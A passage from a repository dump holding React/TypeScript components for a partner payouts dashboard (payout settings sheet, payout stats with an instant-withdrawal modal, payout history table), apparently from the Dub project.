\"zod/v4\";\n\ntype PartnerPayoutSettingsFormData = z.infer<\n  typeof partnerPayoutSettingsSchema\n>;\n\nfunction useExternalPayoutEnrollments() {\n  const { partner } = usePartnerProfile();\n  const { programEnrollments } = useProgramEnrollments();\n\n  const externalPayoutEnrollments = useMemo(() => {\n    if (!programEnrollments || !partner) return [];\n\n    return programEnrollments.filter((enrollment) => {\n      const payoutMode = getEffectivePayoutMode({\n        payoutMode: enrollment.program.payoutMode,\n        payoutsEnabledAt: partner.payoutsEnabledAt,\n      });\n\n      return payoutMode === \"external\";\n    });\n  }, [programEnrollments, partner]);\n\n  return {\n    externalPayoutEnrollments,\n  };\n}\n\nexport function PartnerPayoutSettingsSheet() {\n  const { queryParams, searchParams } = useRouterStuff();\n  const [isOpen, setIsOpen] = useState(false);\n\n  useEffect(() => {\n    const settings = searchParams.get(\"settings\");\n\n    if (settings === \"true\") {\n      setIsOpen(true);\n    } else {\n      setIsOpen(false);\n    }\n  }, [searchParams]);\n\n  return (\n    <Sheet\n      open={isOpen}\n      onOpenChange={setIsOpen}\n      onClose={() => {\n        queryParams({\n          del: \"settings\",\n        });\n      }}\n    >\n      <PartnerPayoutSettingsSheetInner />\n    </Sheet>\n  );\n}\n\nfunction PartnerPayoutSettingsSheetInner() {\n  const { partner } = usePartnerProfile();\n  const { queryParams } = useRouterStuff();\n\n  const {\n    register,\n    handleSubmit,\n    formState: { isDirty },\n  } = useForm<PartnerPayoutSettingsFormData>({\n    defaultValues: {\n      companyName: partner?.companyName || undefined,\n      address: partner?.invoiceSettings?.address || undefined,\n      taxId: partner?.invoiceSettings?.taxId || undefined,\n    },\n  });\n\n  const { executeAsync, isPending } = useAction(\n    updatePartnerPayoutSettingsAction,\n    {\n      onSuccess: async () => {\n        toast.success(\"Payout settings updated successfully!\");\n        queryParams({ del: \"settings\" });\n        mutatePrefix(\"/api/partner-profile\");\n      },\n      onError({ error }) {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const onSubmit = async (data: PartnerPayoutSettingsFormData) => {\n    await executeAsync(data);\n  };\n\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)} className=\"flex h-full flex-col\">\n      <div className=\"flex h-16 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n        <Sheet.Title className=\"flex items-center gap-1 text-lg font-semibold\">\n          Payout settings{\" \"}\n          <InfoTooltip\n            content={\n              \"Learn how to set up your payout account and receive payouts. [Learn more.](https://dub.co/help/article/receiving-payouts)\"\n            }\n          />\n        </Sheet.Title>\n      </div>\n\n      <div className=\"relative flex-1 overflow-y-auto\">\n        <div\n          ref={scrollRef}\n          onScroll={updateScrollProgress}\n          className=\"scrollbar-hide h-full space-y-10 overflow-y-auto bg-neutral-50 p-4 sm:p-6\"\n        >\n          <div className=\"space-y-8 divide-y divide-neutral-200\">\n            <PayoutMethodsSection />\n            <ConnectedExternalAccounts />\n            <InvoiceDetailsSection register={register} />\n          </div>\n        </div>\n        <div\n          className=\"pointer-events-none absolute -bottom-px left-0 h-16 w-full rounded-b-lg bg-gradient-to-t from-white sm:bottom-0\"\n          style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n        />\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 p-5\">\n        <Button\n          variant=\"secondary\"\n          text=\"Cancel\"\n          disabled={isPending}\n          className=\"h-8 w-fit px-3\"\n          onClick={() => {\n            queryParams({\n              del: \"settings\",\n            });\n          }}\n        />\n\n        <Button\n          text=\"Save\"\n          className=\"h-8 w-fit px-3\"\n          loading={isPending}\n          disabled={!isDirty}\n          type=\"submit\"\n        />\n      </div>\n    </form>\n  );\n}\n\nfunction PayoutMethodsSectionSkeleton() {\n  return (\n    <div\n      className=\"flex w-full cursor-default items-center justify-between rounded-lg border border-neutral-200 bg-white p-2\"\n      aria-hidden\n    >\n      <div className=\"flex min-w-0 items-center gap-x-2.5 pr-2\">\n        <div className=\"size-8 shrink-0 animate-pulse rounded-lg bg-neutral-200\" />\n        <div className=\"min-w-0\">\n          <div className=\"h-3 w-24 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"mt-1 h-3 w-44 animate-pulse rounded bg-neutral-200\" />\n        </div>\n      </div>\n      <div className=\"size-4 shrink-0 animate-pulse rounded bg-neutral-200\" />\n    </div>\n  );\n}\n\nfunction PayoutMethodsSection() {\n  const { availablePayoutMethods } = usePartnerProfile();\n  const [selectedMethodId, setSelectedMethodId] = useState<string | null>(null);\n\n  const {\n    payoutMethods: payoutMethodsData,\n    isLoading: isPayoutMethodsLoading,\n  } = usePartnerPayoutSettings();\n\n  const hasConnectedAccount =\n    payoutMethodsData?.some((m) => m.connected) ?? false;\n\n  const filteredMethods = PAYOUT_METHODS.filter((m) =>\n    availablePayoutMethods.includes(m.id),\n  );\n\n  const currentMethod = selectedMethodId\n    ? filteredMethods.find((m) => m.id === selectedMethodId) ||\n      filteredMethods[0]\n    : filteredMethods[0];\n\n  const otherMethods = filteredMethods.filter(\n    (m) => m.id !== currentMethod?.id,\n  );\n\n  if (availablePayoutMethods.length === 0) {\n    return null;\n  }\n\n  // Show stablecoin as a recommended option when available but not yet connected, to encourage partners to add it\n  const showStablecoinRecommended =\n    availablePayoutMethods.includes(\"stablecoin\") &&\n    !payoutMethodsData?.some((m) => m.type === \"stablecoin\" && m.connected);\n\n  return (\n    <div>\n      <h4 className=\"text-content-emphasis mb-3 text-base font-semibold leading-6\">\n        Payout account\n      </h4>\n      {isPayoutMethodsLoading ? (\n        <PayoutMethodsSectionSkeleton />\n      ) : hasConnectedAccount ? (\n        <div className=\"space-y-3\">\n          <PayoutMethodDropdown />\n          {showStablecoinRecommended &&\n            payoutMethodsData?.some((m) => m.type === \"stablecoin\") && (\n              <PayoutMethodSelector\n                payoutMethods={payoutMethodsData!.filter(\n                  (m) => m.type === \"stablecoin\",\n                )}\n                variant=\"compact\"\n                allowConnectWhenPayoutsEnabled\n              />\n            )}\n        </div>\n      ) : (\n        <PayoutMethodSelector\n          payoutMethods={\n            currentMethod && payoutMethodsData\n              ? payoutMethodsData.filter((m) => m.type === currentMethod.id)\n              : []\n          }\n          variant=\"compact\"\n          actionFooter={(_setting) =>\n            otherMethods.length > 0 ? (\n              <div className=\"mt-1 flex justify-center\">\n                {otherMethods.map((method) => (\n                  <button\n                    key={method.id}\n                    type=\"button\"\n                    onClick={() => setSelectedMethodId(method.id)}\n                    className=\"text-xs font-medium text-neutral-400 transition-colors hover:text-neutral-600\"\n                  >\n                    Connect {method.title}\n                    {method.recommended ? \" (recommended)\" : \"\"}\n                  </button>\n                ))}\n              </div>\n            ) : null\n          }\n        />\n      )}\n    </div>\n  );\n}\n\nfunction InvoiceDetailsSection({\n  register,\n}: {\n  register: UseFormRegister<PartnerPayoutSettingsFormData>;\n}) {\n  return (\n    <div className=\"space-y-4 py-6\">\n      <div>\n        <h4 className=\"text-base font-semibold leading-6 text-neutral-900\">\n          Invoice details (optional)\n        </h4>\n        <p className=\"text-sm font-medium text-neutral-500\">\n          This information is added to your payout invoices.\n        </p>\n      </div>\n\n      <div>\n        <label\n          htmlFor=\"companyName\"\n          className=\"text-sm font-medium text-neutral-900\"\n        >\n          Business name\n        </label>\n        <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n          <input\n            id=\"companyName\"\n            className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            {...register(\"companyName\")}\n          />\n        </div>\n      </div>\n\n      <div>\n        <label\n          htmlFor=\"address\"\n          className=\"text-sm font-medium text-neutral-900\"\n        >\n          Business address\n        </label>\n        <TextareaAutosize\n          id=\"address\"\n          className=\"mt-1.5 block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n          minRows={3}\n          {...register(\"address\")}\n        />\n      </div>\n\n      <div>\n        <label htmlFor=\"taxId\" className=\"text-sm font-medium text-neutral-900\">\n          Business tax ID\n        </label>\n        <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n          <input\n            id=\"taxId\"\n            className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            {...register(\"taxId\")}\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction ConnectedExternalAccounts() {\n  const { externalPayoutEnrollments } = useExternalPayoutEnrollments();\n\n  if (!externalPayoutEnrollments || externalPayoutEnrollments.length === 0) {\n    return null;\n  }\n\n  return (\n    <div className=\"space-y-3 py-6\">\n      <div>\n        <h4 className=\"text-content-emphasis text-base font-semibold leading-6\">\n          Connected external accounts\n        </h4>\n      </div>\n\n      <div className=\"space-y-2\">\n        {externalPayoutEnrollments.map((enrollment) => (\n          <div\n            key={enrollment.programId}\n            className=\"flex h-12 items-center justify-between gap-4 rounded-lg border border-neutral-200 bg-white px-3 py-2\"\n          >\n            <div className=\"flex min-w-0 flex-1 items-center gap-2\">\n              <BlurImage\n                width={24}\n                height={24}\n                src={\n                  enrollment.program.logo ||\n                  `${OG_AVATAR_URL}${enrollment.program.name}`\n                }\n                alt={enrollment.program.name}\n                className=\"size-6 shrink-0 rounded-full\"\n              />\n              <span className=\"text-content-emphasis truncate text-sm font-semibold\">\n                {enrollment.program.name}\n              </span>\n            </div>\n            <Link\n              href={`/programs/${enrollment.program.slug}`}\n              className=\"shrink-0\"\n              target=\"_blank\"\n            >\n              <Button\n                type=\"button\"\n                variant=\"secondary\"\n                text=\"View program\"\n                className=\"border-border-subtle h-6 rounded-md px-2 py-3.5 text-sm\"\n              />\n            </Link>\n          </div>\n        ))}\n      </div>\n\n      <p className=\"text-content-subtle text-xs font-normal leading-4\">\n        These programs manage payouts externally through their own systems.\n        <Link\n          href=\"https://dub.co/help/article/receiving-payouts\"\n          target=\"_blank\"\n          className=\"ml-1 underline underline-offset-2\"\n        >\n          Learn more\n        </Link>\n      </p>\n    </div>\n  );\n}\n\nexport function usePartnerPayoutSettingsSheet() {\n  const { queryParams } = useRouterStuff();\n\n  const openSettings = useCallback(() => {\n    queryParams({\n      set: {\n        settings: \"true\",\n      },\n    });\n  }, [queryParams]);\n\n  const PartnerPayoutSettingsSheetCallback = useCallback(() => {\n    return <PartnerPayoutSettingsSheet />;\n  }, []);\n\n  return useMemo(\n    () => ({\n      openSettings,\n      PartnerPayoutSettingsSheet: PartnerPayoutSettingsSheetCallback,\n    }),\n    [openSettings, PartnerPayoutSettingsSheetCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/payouts/payout-stats.tsx",
    "content": "\"use client\";\n\nimport { forceWithdrawalAction } from \"@/lib/actions/partners/force-withdrawal\";\nimport {\n  BELOW_MIN_WITHDRAWAL_FEE_CENTS,\n  MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS,\n  MIN_WITHDRAWAL_AMOUNT_CENTS,\n  STABLECOIN_PAYOUT_FEE_RATE,\n} from \"@/lib/constants/payouts\";\nimport usePartnerPayoutsCount from \"@/lib/swr/use-partner-payouts-count\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { PayoutsCount } from \"@/lib/types\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { PayoutStatusBadges } from \"@/ui/partners/payout-status-badges\";\nimport { PAYOUT_STATUS_DESCRIPTIONS } from \"@/ui/partners/payout-status-descriptions\";\nimport { AlertCircleFill } from \"@/ui/shared/icons\";\nimport { PartnerPayoutMethod, PayoutStatus } from \"@dub/prisma/client\";\nimport { Button, Tooltip } from \"@dub/ui\";\nimport { cn, currencyFormatter } from \"@dub/utils\";\nimport { HelpCircle } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { toast } from \"sonner\";\n\nfunction PayoutStatsCard({\n  label,\n  amount,\n  icon: Icon,\n  iconClassName,\n  tooltip,\n  error,\n  setShowForceWithdrawalModal,\n}: {\n  label: string;\n  amount: number;\n  icon: any;\n  iconClassName?: string;\n  tooltip?: string;\n  error?: boolean;\n  setShowForceWithdrawalModal: (show: boolean) => void;\n}) {\n  const { partner } = usePartnerProfile();\n\n  const isLoading = amount === undefined || error;\n\n  return (\n    <div className=\"flex flex-col gap-2 p-3 sm:gap-3 sm:p-4\">\n      <div className=\"flex items-center gap-2\">\n        <div\n          className={cn(\n            \"hidden size-6 items-center justify-center rounded-md sm:flex\",\n            iconClassName,\n          )}\n        >\n          <Icon className=\"size-4\" />\n        </div>\n\n        <span className=\"text-xs font-medium leading-3 text-neutral-500\">\n          {label}\n        </span>\n\n        {tooltip && (\n          <Tooltip content={tooltip} side=\"top\">\n            <div>\n              <HelpCircle className=\"size-3.5 text-neutral-500\" />\n            </div>\n          </Tooltip>\n        )}\n      </div>\n\n      <div className=\"flex items-center justify-between\">\n        <div className=\"flex items-center gap-2\">\n          {!isLoading ? (\n            <div className=\"flex items-center gap-2\">\n              {partner && !partner.payoutsEnabledAt && (\n                <Tooltip\n                  content=\"You need to connect your payout account to be able to receive payouts from the programs you are enrolled in.\"\n                  side=\"right\"\n                >\n                  <div>\n                    <AlertCircleFill className=\"size-5 text-black\" />\n                  </div>\n                </Tooltip>\n              )}\n\n              <span className=\"h-5 text-base font-medium leading-6 text-neutral-800 sm:h-7 sm:text-xl sm:leading-7\">\n                {error ? (\n                  \"-\"\n                ) : (\n                  <>{amount > 0 ? currencyFormatter(amount) : \"$0.00\"}</>\n                )}\n              </span>\n              {label === \"Processed\" && amount > 0 && (\n                <Button\n                  variant=\"secondary\"\n                  text=\"Pay out now\"\n                  className=\"ml-2 h-7 px-2 py-1\"\n                  onClick={() => setShowForceWithdrawalModal(true)}\n                  disabledTooltip={\n                    amount < MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS\n                      ? `Your current processed payouts balance is less than the minimum amount required for withdrawal (${currencyFormatter(MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS)}).`\n                      : undefined\n                  }\n                />\n              )}\n            </div>\n          ) : (\n            <div className=\"h-5 w-20 animate-pulse rounded bg-neutral-200 sm:h-7 sm:w-24\" />\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n\nexport function PayoutStats() {\n  const { partner } = usePartnerProfile();\n\n  const { payoutsCount, error } = usePartnerPayoutsCount<PayoutsCount[]>({\n    groupBy: \"status\",\n  });\n\n  const payoutStatusMap = Object.fromEntries(\n    payoutsCount?.map((p) => [p.status, p]) || [],\n  ) as Record<PayoutStatus, PayoutsCount>;\n\n  const tooltip = partner?.defaultPayoutMethod\n    ? PAYOUT_STATUS_DESCRIPTIONS[partner?.defaultPayoutMethod]\n    : undefined;\n\n  const payoutStats = [\n    {\n      label: \"Pending\",\n      amount: payoutStatusMap?.pending?.amount,\n      icon: PayoutStatusBadges.pending.icon,\n      iconClassName: PayoutStatusBadges.pending.className,\n      tooltip: tooltip?.pending,\n      error: !!error,\n    },\n\n    {\n      label: \"Processing\",\n      amount: payoutStatusMap?.processing?.amount,\n      icon: PayoutStatusBadges.processing.icon,\n      iconClassName: PayoutStatusBadges.processing.className,\n      tooltip: tooltip?.processing,\n      error: !!error,\n    },\n\n    ...([\"stablecoin\", \"connect\"].includes(partner?.defaultPayoutMethod ?? \"\")\n      ? [\n          {\n            label: \"Processed\",\n            amount: payoutStatusMap?.processed?.amount,\n            icon: PayoutStatusBadges.processed.icon,\n            iconClassName: PayoutStatusBadges.processed.className,\n            tooltip: tooltip?.processed,\n            error: !!error,\n          },\n\n          {\n            label: \"Sent\",\n            amount: payoutStatusMap?.sent?.amount,\n            icon: PayoutStatusBadges.sent.icon,\n            iconClassName: PayoutStatusBadges.sent.className,\n            tooltip: tooltip?.sent,\n            error: !!error,\n          },\n        ]\n      : []),\n\n    {\n      label: \"Completed\",\n      amount: payoutStatusMap?.completed?.amount,\n      icon: PayoutStatusBadges.completed.icon,\n      iconClassName: PayoutStatusBadges.completed.className,\n      tooltip: tooltip?.completed,\n      error: !!error,\n    },\n  ];\n\n  // Split payoutStats for mobile layout\n  const topRowStats = payoutStats.slice(0, 3);\n  const bottomRowStats = payoutStats.slice(3);\n\n  const { executeAsync: executeForceWithdrawal } = useAction(\n    forceWithdrawalAction,\n    {\n      onSuccess: () => {\n        toast.success(\"Withdrawal initiated successfully\");\n      },\n      onError: ({ error }) => {\n        toast.error(error.serverError || \"Failed to initiate withdrawal\");\n      },\n    },\n  );\n\n  const processedPayoutAmountInUsd = currencyFormatter(\n    payoutStatusMap?.processed?.amount,\n    {\n      trailingZeroDisplay: \"stripIfInteger\",\n    },\n  );\n\n  const {\n    confirmModal: forceWithdrawalModal,\n    setShowConfirmModal: setShowForceWithdrawalModal,\n  } = useConfirmModal({\n    title: \"Pay out funds instantly\",\n    description: (\n      <ForceWithdrawalModalDescription\n        defaultPayoutMethod={partner?.defaultPayoutMethod}\n        processedAmount={payoutStatusMap?.processed?.amount}\n      />\n    ),\n    onConfirm: async () => {\n      await executeForceWithdrawal();\n    },\n    confirmText: `Pay out ${processedPayoutAmountInUsd}`,\n  });\n\n  return (\n    <>\n      {forceWithdrawalModal}\n      {/* Mobile: 3 on top, 2 on bottom */}\n      <div className=\"grid divide-y divide-neutral-200 overflow-hidden rounded-lg border border-neutral-200 bg-white md:hidden\">\n        <div className=\"grid grid-cols-3 divide-x divide-neutral-200\">\n          {topRowStats.map((stat) => (\n            <PayoutStatsCard\n              key={stat.label}\n              {...stat}\n              setShowForceWithdrawalModal={setShowForceWithdrawalModal}\n            />\n          ))}\n        </div>\n        {bottomRowStats.length > 0 && (\n          <div className=\"grid grid-cols-2 divide-x divide-neutral-200\">\n            {bottomRowStats.map((stat) => (\n              <PayoutStatsCard\n                key={stat.label}\n                {...stat}\n                setShowForceWithdrawalModal={setShowForceWithdrawalModal}\n              />\n            ))}\n          </div>\n        )}\n      </div>\n\n      {/* Desktop: all in one row */}\n      <div\n        className={cn(\n          \"hidden divide-x divide-neutral-200 overflow-hidden rounded-lg border border-neutral-200 bg-white md:grid\",\n          partner?.defaultPayoutMethod === \"connect\" ||\n            partner?.defaultPayoutMethod === \"stablecoin\"\n            ? \"md:grid-cols-5\"\n            : \"md:grid-cols-3\",\n        )}\n      >\n        {payoutStats.map((stat) => (\n          <PayoutStatsCard\n            key={stat.label}\n            {...stat}\n            setShowForceWithdrawalModal={setShowForceWithdrawalModal}\n          />\n        ))}\n      </div>\n    </>\n  );\n}\n\nfunction ForceWithdrawalModalDescription({\n  defaultPayoutMethod,\n  processedAmount,\n}: {\n  defaultPayoutMethod: PartnerPayoutMethod | null | undefined;\n  processedAmount: number | undefined;\n}) {\n  const processedPayoutAmountInUsd = currencyFormatter(processedAmount ?? 0, {\n    trailingZeroDisplay: \"stripIfInteger\",\n  });\n\n  if (defaultPayoutMethod === \"stablecoin\") {\n    const finalAmount =\n      processedAmount != null\n        ? Math.floor(processedAmount * (1 - STABLECOIN_PAYOUT_FEE_RATE))\n        : 0;\n\n    return (\n      <>\n        Your processed earnings (\n        <strong className=\"text-black\">{processedPayoutAmountInUsd}</strong>)\n        will be sent to your crypto wallet. A {STABLECOIN_PAYOUT_FEE_RATE * 100}\n        % fee applies, so you will receive{\" \"}\n        <strong className=\"text-black\">\n          {currencyFormatter(finalAmount, {\n            trailingZeroDisplay: \"stripIfInteger\",\n          })}\n        </strong>\n        .\n      </>\n    );\n  }\n\n  return (\n    <>\n      Since your total processed earnings (\n      <strong className=\"text-black\">{processedPayoutAmountInUsd}</strong>) are\n      below the minimum requirement of{\" \"}\n      <strong className=\"text-black\">\n        {currencyFormatter(MIN_WITHDRAWAL_AMOUNT_CENTS, {\n          trailingZeroDisplay: \"stripIfInteger\",\n        })}\n      </strong>\n      , you will be charged a fee of{\" \"}\n      <strong className=\"text-black\">\n        {currencyFormatter(BELOW_MIN_WITHDRAWAL_FEE_CENTS)}\n      </strong>{\" \"}\n      for this payout, which means you will receive{\" \"}\n      <strong className=\"text-black\">\n        {currencyFormatter(\n          (processedAmount ?? 0) - BELOW_MIN_WITHDRAWAL_FEE_CENTS,\n          { trailingZeroDisplay: \"stripIfInteger\" },\n        )}\n      </strong>\n      .\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/payouts/payout-table.tsx",
    "content": "\"use client\";\n\nimport { INVOICE_AVAILABLE_PAYOUT_STATUSES } from \"@/lib/constants/payouts\";\nimport usePartnerPayouts from \"@/lib/swr/use-partner-payouts\";\nimport usePartnerPayoutsCount from \"@/lib/swr/use-partner-payouts-count\";\nimport { PartnerPayoutResponse } from \"@/lib/types\";\nimport { PayoutRowMenu } from \"@/ui/partners/payout-row-menu\";\nimport { PayoutStatusBadgePartner } from \"@/ui/partners/payout-status-badge-partner\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { PayoutStatus } from \"@dub/prisma/client\";\nimport {\n  AnimatedSizeContainer,\n  Filter,\n  Table,\n  TimestampTooltip,\n  Tooltip,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport {\n  CircleArrowRight,\n  CircleHalfDottedClock,\n  InvoiceDollar,\n  MoneyBill2,\n} from \"@dub/ui/icons\";\nimport {\n  OG_AVATAR_URL,\n  currencyFormatter,\n  formatDateSmart,\n  formatDateTimeSmart,\n  formatPeriod,\n} from \"@dub/utils\";\nimport { addBusinessDays } from \"date-fns\";\nimport Link from \"next/link\";\nimport { useEffect, useState } from \"react\";\nimport { PayoutDetailsSheet } from \"./partner-payout-details-sheet\";\nimport { usePayoutFilters } from \"./use-payout-filters\";\n\nexport function PayoutTable() {\n  const { queryParams, searchParams } = useRouterStuff();\n\n  const sortBy = searchParams.get(\"sortBy\") || \"initiatedAt\";\n  const sortOrder = searchParams.get(\"sortOrder\") === \"asc\" ? \"asc\" : \"desc\";\n\n  const { payouts, error, loading } = usePartnerPayouts();\n  const { payoutsCount } = usePartnerPayoutsCount<number>();\n\n  const { filters, activeFilters, onSelect, onRemove, onRemoveAll } =\n    usePayoutFilters();\n\n  const [detailsSheetState, setDetailsSheetState] = useState<\n    | { open: false; payout: PartnerPayoutResponse | null }\n    | { open: true; payout: PartnerPayoutResponse }\n  >({ open: false, payout: null });\n\n  useEffect(() => {\n    const payoutId = searchParams.get(\"payoutId\");\n    if (payoutId) {\n      const payout = payouts?.find((p) => p.id === payoutId);\n      if (payout) {\n        setDetailsSheetState({ open: true, payout });\n      }\n    }\n  }, [searchParams, payouts]);\n\n  const { pagination, setPagination } = usePagination();\n\n  const table = useTable({\n    data: payouts || [],\n    loading,\n    error: error ? \"Failed to load payouts\" : undefined,\n    columns: [\n      {\n        id: \"periodEnd\",\n        header: \"Period\",\n        accessorFn: (d) => formatPeriod(d),\n      },\n      {\n        header: \"Program\",\n        cell: ({ row }) => (\n          <div className=\"flex items-center gap-2\">\n            <img\n              src={\n                row.original.program.logo ||\n                `${OG_AVATAR_URL}${row.original.program.name}`\n              }\n              alt={row.original.program.name}\n              className=\"size-4 rounded-full\"\n            />\n            <span>{row.original.program.name}</span>\n          </div>\n        ),\n      },\n      {\n        header: \"Status\",\n        cell: ({ row }) => (\n          <PayoutStatusBadgePartner\n            payout={row.original}\n            program={row.original.program}\n          />\n        ),\n      },\n      {\n        id: \"initiatedAt\",\n        header: \"Initiated\",\n        meta: {\n          headerTooltip:\n            \"Date and time when the payout was initiated by the program. Payouts usually take up to 5 business days to be fully processed.\",\n        },\n        cell: ({ row }) =>\n          row.original.initiatedAt ? (\n            <TimestampTooltip\n              timestamp={row.original.initiatedAt}\n              side=\"right\"\n              rows={[\"local\", \"utc\"]}\n            >\n              <span className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2\">\n                {formatDateSmart(row.original.initiatedAt, { month: \"short\" })}\n              </span>\n            </TimestampTooltip>\n          ) : (\n            \"-\"\n          ),\n      },\n      {\n        id: \"paidAt\",\n        header: \"Paid\",\n        meta: {\n          headerTooltip:\n            \"Date and time when the payout was fully processed by the program and paid to your account.\",\n        },\n        cell: ({ row }) =>\n          row.original.paidAt ? (\n            <TimestampTooltip\n              timestamp={row.original.paidAt}\n              side=\"right\"\n              rows={[\"local\", \"utc\"]}\n            >\n              <span className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2\">\n                {formatDateSmart(row.original.paidAt, { month: \"short\" })}\n              </span>\n            </TimestampTooltip>\n          ) : row.original.initiatedAt ? (\n            <Tooltip\n              content={`This payout is estimated to be processed on \\`${formatDateTimeSmart(addBusinessDays(row.original.initiatedAt, 5), { month: \"short\" })}\\` (after 5 business days)`}\n            >\n              <span className=\"hover:text-content-emphasis text-content-muted flex items-center gap-1 underline decoration-dotted underline-offset-2\">\n                <CircleHalfDottedClock className=\"size-3.5 shrink-0\" />{\" \"}\n                {formatDateSmart(addBusinessDays(row.original.initiatedAt, 5), {\n                  month: \"short\",\n                })}\n              </span>\n            </Tooltip>\n          ) : (\n            \"-\"\n          ),\n      },\n      {\n        id: \"amount\",\n        header: \"Amount\",\n        cell: ({ row }) => (\n          <div className=\"flex items-center gap-2\">\n            <AmountRowItem payout={row.original} />\n\n            {row.original.mode === \"internal\" &&\n              INVOICE_AVAILABLE_PAYOUT_STATUSES.includes(\n                row.original.status,\n              ) && (\n                <Tooltip content=\"View invoice\">\n                  <div className=\"flex h-5 w-5 items-center justify-center rounded-md transition-colors duration-150 hover:border hover:border-neutral-200 hover:bg-neutral-100\">\n                    <Link\n                      href={`/invoices/${row.original.id}`}\n                      className=\"text-neutral-700\"\n                      target=\"_blank\"\n                      rel=\"noopener noreferrer\"\n                      onClick={(e) => e.stopPropagation()}\n                    >\n                      <InvoiceDollar className=\"size-4\" />\n                    </Link>\n                  </div>\n                </Tooltip>\n              )}\n          </div>\n        ),\n      },\n      // Menu\n      {\n        id: \"menu\",\n        enableHiding: false,\n        minSize: 30,\n        size: 30,\n        maxSize: 30,\n        cell: ({ row }) => <PayoutRowMenu row={row} />,\n      },\n    ],\n    pagination,\n    onPaginationChange: setPagination,\n    sortableColumns: [\"amount\", \"initiatedAt\", \"paidAt\"],\n    sortBy,\n    sortOrder,\n    onSortChange: ({ sortBy, sortOrder }) =>\n      queryParams({\n        set: {\n          ...(sortBy && { sortBy }),\n          ...(sortOrder && { sortOrder }),\n        },\n        del: \"page\",\n        scroll: false,\n      }),\n    onRowClick: (row) => {\n      queryParams({\n        set: {\n          payoutId: row.original.id,\n        },\n        scroll: false,\n      });\n    },\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) => `payout${p ? \"s\" : \"\"}`,\n    rowCount: payoutsCount || 0,\n  });\n\n  return (\n    <>\n      {detailsSheetState.payout && (\n        <PayoutDetailsSheet\n          isOpen={detailsSheetState.open}\n          setIsOpen={(open) =>\n            setDetailsSheetState((s) => ({ ...s, open }) as any)\n          }\n          payout={detailsSheetState.payout}\n        />\n      )}\n      <div className=\"flex flex-col gap-3\">\n        <div className=\"flex flex-col gap-3\">\n          <Filter.Select\n            className=\"w-full md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n          />\n          <AnimatedSizeContainer height>\n            {activeFilters.length > 0 && (\n              <Filter.List\n                filters={filters}\n                activeFilters={activeFilters}\n                onSelect={onSelect}\n                onRemove={onRemove}\n                onRemoveAll={onRemoveAll}\n              />\n            )}\n          </AnimatedSizeContainer>\n        </div>\n        {payouts?.length !== 0 ? (\n          <Table {...table} />\n        ) : (\n          <AnimatedEmptyState\n            title=\"No payouts found\"\n            description=\"No payouts have been initiated for this program yet.\"\n            cardContent={() => (\n              <>\n                <MoneyBill2 className=\"size-4 text-neutral-700\" />\n                <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n              </>\n            )}\n          />\n        )}\n      </div>\n    </>\n  );\n}\n\nfunction AmountRowItem({ payout }: { payout: PartnerPayoutResponse }) {\n  const display = currencyFormatter(payout.amount);\n\n  if (\n    payout.status === PayoutStatus.pending &&\n    payout.amount < payout.program.minPayoutAmount\n  ) {\n    return (\n      <Tooltip\n        content={`This program's [minimum payout amount](https://dub.co/help/article/commissions-payouts#what-does-minimum-payout-amount-mean) is ${currencyFormatter(\n          payout.program.minPayoutAmount,\n          { trailingZeroDisplay: \"stripIfInteger\" },\n        )}. This payout will be accrued and processed during the next payout period.`}\n      >\n        <span className=\"cursor-help truncate text-neutral-400 underline decoration-dotted underline-offset-2\">\n          {display}\n        </span>\n      </Tooltip>\n    );\n  }\n\n  return (\n    <div className=\"flex items-center gap-1.5\">\n      {display}\n      {payout.mode === \"external\" && (\n        <Tooltip\n          content={\n            payout.status === PayoutStatus.pending\n              ? `This payout will be made externally through your ${payout.program.name} account after approval.`\n              : `This payout was made externally through your ${payout.program.name} account.`\n          }\n        >\n          <CircleArrowRight className=\"size-3.5 shrink-0 text-neutral-500\" />\n        </Tooltip>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/payouts/use-payout-filters.tsx",
